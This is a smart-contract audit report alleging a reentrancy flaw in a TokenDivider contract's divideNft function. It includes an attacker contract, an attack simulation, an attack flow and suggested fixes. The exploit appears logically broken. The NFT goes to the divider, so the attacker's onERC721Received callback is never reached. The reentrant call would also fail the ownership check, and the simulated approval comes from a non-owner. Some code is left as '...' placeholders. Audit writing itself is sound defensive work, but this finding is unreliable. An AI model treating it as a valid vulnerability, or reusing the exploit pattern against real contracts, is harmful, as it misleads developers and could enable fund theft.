Summary
The TokenDivider
contract performs state updates after making external contract calls, violating the checks-effects-interactions pattern. This sequencing creates a critical vulnerability where contract state could become inconsistent or manipulated through reentrancy attacks and failed external calls.
Impact
The improper state update sequencing could lead to:
Reentrancy attacks leading to double-spending
Inconsistent contract state
NFT or token theft
Permanent state corruption
Loss of user funds
Fractional token duplication
Tool Used
Foundry
Detailed Proof of Concept
Vulnerable Implementation
function divideNft(address nftAddress, uint256 tokenId, uint256 amount)
onlyNftOwner(nftAddress, tokenId)
external {
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(...);
erc20Contract.mint(address(this), amount);
address erc20 = address(erc20Contract);
IERC721(nftAddress).safeTransferFrom(msg.sender, address(this), tokenId, "");
balances[msg.sender][erc20] = amount;
nftToErc20Info[nftAddress] = ERC20Info({...});
erc20ToMintedAmount[erc20] = amount;
erc20ToNft[erc20] = nftAddress;
IERC20(erc20).transfer(msg.sender, amount);
}
Exploit Contract
contract StateManipulationAttacker {
TokenDivider target;
address public nftAddress;
uint256 public tokenId;
uint256 public amount;
uint256 public attackCount;
constructor(address _target) {
target = TokenDivider(_target);
}
function attack(address _nft, uint256 _tokenId, uint256 _amount) external {
nftAddress = _nft;
tokenId = _tokenId;
amount = _amount;
target.divideNft(nftAddress, tokenId, amount);
}
function onERC721Received(
address operator,
address from,
uint256 _tokenId,
bytes calldata
) external returns (bytes4) {
if (attackCount == 0) {
attackCount++;
target.divideNft(nftAddress, tokenId, amount);
}
return this.onERC721Received.selector;
}
}
Attack Simulation
Setup Attack Environment
TokenDivider divider = new TokenDivider();
StateManipulationAttacker attacker = new StateManipulationAttacker(address(divider));
MockNFT nft = new MockNFT();
nft.mint(address(attacker), 1);
Execute Attack
function executeAttack() public {
nft.approve(address(divider), 1);
attacker.attack(address(nft), 1, 1000);
}
Attack Flow
1. attacker.attack() calls divideNft
2. divideNft creates ERC20 tokens and initiates NFT transfer
3. NFT transfer triggers onERC721Received in attacker
4. Attacker reenters divideNft before state updates
5. Second divideNft execution completes
6. First divideNft execution completes
7. State is now corrupted with multiple ERC20 tokens for same NFT
Recommendations
1. Implement Checks-Effects-Interactions Pattern
function divideNft(
address nftAddress,
uint256 tokenId,
uint256 amount
) external nonReentrant {
_validateInputs(nftAddress, tokenId, amount);
address erc20Address = _createAndRecordERC20(
nftAddress,
tokenId,
amount
);
_executeExternalCalls(
nftAddress,
tokenId,
erc20Address,
amount
);
}
2. Separate State Management
function _createAndRecordERC20(
address nftAddress,
uint256 tokenId,
uint256 amount
) private returns (address) {
ERC20ToGenerateNftFraccion erc20Contract = new ERC20ToGenerateNftFraccion(...);
address erc20 = address(erc20Contract);
balances[msg.sender][erc20] = amount;
nftToErc20Info[nftAddress] = ERC20Info({
erc20Address: erc20,
tokenId: tokenId
});
erc20ToMintedAmount[erc20] = amount;
erc20ToNft[erc20] = nftAddress;
return erc20;
}
3. Safe External Interactions
function _executeExternalCalls(
address nftAddress,
uint256 tokenId,
address erc20Address,
uint256 amount
) private {
ERC20ToGenerateNftFraccion(erc20Address).mint(address(this), amount);
IERC721(nftAddress).safeTransferFrom(
msg.sender,
address(this),
tokenId
);
require(
IERC20(erc20Address).transfer(msg.sender, amount),
"ERC20 transfer failed"
);
}
4. Add State Validation
function _validateState(
address nftAddress,
address erc20Address
) private view {
require(
nftToErc20Info[nftAddress].erc20Address == erc20Address,
"State mismatch"
);
require(
erc20ToNft[erc20Address] == nftAddress,
"Token mapping mismatch"
);
}
Additional Recommendations:
Implement State Locking
mapping(address => bool) private _locked;
modifier stateLocked(address nft) {
require(!_locked[nft], "State locked");
_locked[nft] = true;
_;
_locked[nft] = false;
}
Add State Recovery Mechanism
function _rollbackState(
address nftAddress,
address erc20Address
) private {
delete balances[msg.sender][erc20Address];
delete nftToErc20Info[nftAddress];
delete erc20ToMintedAmount[erc20Address];
delete erc20ToNft[erc20Address];
}
These improvements provide:
Proper state management sequencing
Protection against reentrancy
Clear separation of concerns
State validation
Recovery mechanisms
Atomic operations